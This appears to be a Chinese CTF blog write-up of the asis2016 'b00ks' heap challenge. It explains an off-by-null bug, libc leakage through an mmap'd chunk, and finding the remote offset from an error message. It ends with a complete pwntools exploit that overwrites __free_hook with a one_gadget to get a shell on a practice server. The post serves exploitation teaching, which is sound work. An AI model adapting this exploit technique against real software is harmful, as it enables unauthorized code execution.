asis2016_b00ks(根据报错信息确定mmap拓展偏移)

发布时间 2023-11-01 14:33:05作者: s4ndw1ch

这个应该是大部分人学off-by-one的第一个例题,当时笔者也是只在本地去测试,最近重温又发现了一些有趣的东西

这里有个off-by-null,可以看到14行 如果i = a2就break,再让*a1 = 0,比如我们的size为10,正常我们被允许输入10个字节的数据,这里的i是从0开始的,所以是0-10,也就是11字节,多出的一字节被置0

具体这里就不展开分析了大致讲一下利用过程,如果想看更详细的,网上一堆师傅分析的都很详细

大部分做法是申请一个大块,topchunk不够用,使用mmap分配,我们去泄露这个分配地址去获得libc基址,但是这里有个问题就是不同环境下,这个偏移是不同的

首先会让输入作者名字,这个内容存放在0x555555602040位置,当然由于开了PIE,这个不是固定的,根据程序加载基址来确定,分配大小是0x20,紧跟着的是chunk的管理块,如果我们把0x20的空间写满就能打印出第一个管理堆块的地址

io.sendlineafter(b'Enter author name: ',b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')

add(0xd0, b'aaaa', 0x20, b'bbbb'+b'\n')
add(0x21000, b'aaaa', 0x21000, b'bbbb'+b'\n')

show()
io.recvuntil(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')
book1_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('book1_addr  =========================>'+hex(book1_addr))

接下来利用off-by-null重写一次作者名字 把上面0x0000555555605130覆盖成0x0000555555605100,0x0000555555605100这块内容是我们可控的,可以伪造指针泄露libc

payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr+0x40) + p64(0x20)
edit(1,payload)

change(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')
show()

io.recvuntil(b'Name: ')
libc_addr = u64(io.recv(6).ljust(8,b'\x00')) - 0x7d4010 
success('libc_addr  =========================>'+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook'] 

我们上面申请0xd0就是为了让我们能控制des块的malloc指针落在00结尾的一个地址,这样我们可以伪造管理块,再去打印就会根据我们伪造的索引打印 绿色框和黄色框中的地址,这里在我本地的偏移是0x7d4010,用vmmap查看libc基址再减一下就行了,然后 改1此时相当于改 5170黄色框的内容改为free_hook,这个是2的des块索引,我们再改2就相当于在修改free_hook了

本地正常打通但是换到远程的时候是打不通的,因为mmap拓展的偏移是不一样的,这里可以选择直接free(1),由于1的索引是被我们修改过的,直接去free肯定是不合法的,会报错

io.sendlineafter(b'Enter author name: ',b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')

add(0xd0, b'aaaa', 0x20, b'bbbb'+b'\n')
add(0x21000, b'aaaa', 0x21000, b'bbbb'+b'\n')

show()
io.recvuntil(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')
book1_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('book1_addr  =========================>'+hex(book1_addr))


payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr+0x40) + p64(0x20)
edit(1,payload)

change(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')
show()

io.recvuntil(b'Name: ')
libc_addr = u64(io.recv(6).ljust(8,b'\x00')) #- 0x5c6010
success('libc_addr  =========================>'+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook'] 

free(1)

从报错信息中我们能看到libc的基址是0x7f59acafb000,此时我们接收到的mmap拓展的堆块的地址是0x7f59ad0c1010 偏移是0x5c6010,填入正确偏移即可打通

远程exp:

#coding:utf8  
from pwn import *  

context(os='linux',arch='amd64',log_level='debug')

io=remote('node4.buuoj.cn',25665)

#io = process('./b00ks')
elf = ELF('./b00ks')
#libc = elf.libc
libc = ELF('./libc-2.23.so')

def add(size, name, size2, content):
	io.sendlineafter(b'> ',b'1')
	io.sendlineafter(b'Enter book name size: ',str(size).encode())
	io.sendlineafter(b'Enter book name (Max 32 chars): ',name)
	io.sendlineafter(b'Enter book description size: ',str(size2).encode())
	io.sendlineafter(b'Enter book description: ',content)
	
def free(index):
	io.sendlineafter(b'> ',b'2')
	io.sendlineafter(b'Enter the book id you want to delete: ',str(index).encode())

def edit(index, content):
	io.sendlineafter(b'> ',b'3')
	io.writelineafter(b'Enter the book id you want to edit: ',str(index).encode())
	io.sendlineafter(b'Enter new book description: ',content)
 

def show():
	io.sendlineafter(b'> ',b'4')
	#io.sendlineafter(b'Enter the book id you want to delete: ',str(index).encode())

def change(content):
	io.sendlineafter(b'> ',b'5')
	io.sendlineafter(b'Enter author name: ',content)

io.sendlineafter(b'Enter author name: ',b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')

add(0xd0, b'aaaa', 0x20, b'bbbb'+b'\n')
add(0x21000, b'aaaa', 0x21000, b'bbbb'+b'\n')

show()
io.recvuntil(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')
book1_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('book1_addr  =========================>'+hex(book1_addr))


payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr+0x40) + p64(0x20)
edit(1,payload)

change(b's4ndw1chs4ndw1chs4ndw1chs4ndw1ch')
show()

io.recvuntil(b'Name: ')
libc_addr = u64(io.recv(6).ljust(8,b'\x00')) - 0x5c6010
success('libc_addr  =========================>'+hex(libc_addr))
free_hook = libc_addr + libc.sym['__free_hook'] 
#free(1)
#gdb.attach(io)

edit(1,p64(free_hook)) 
edit(2,p64(0x4526a+libc_addr))

free(1)

io.interactive()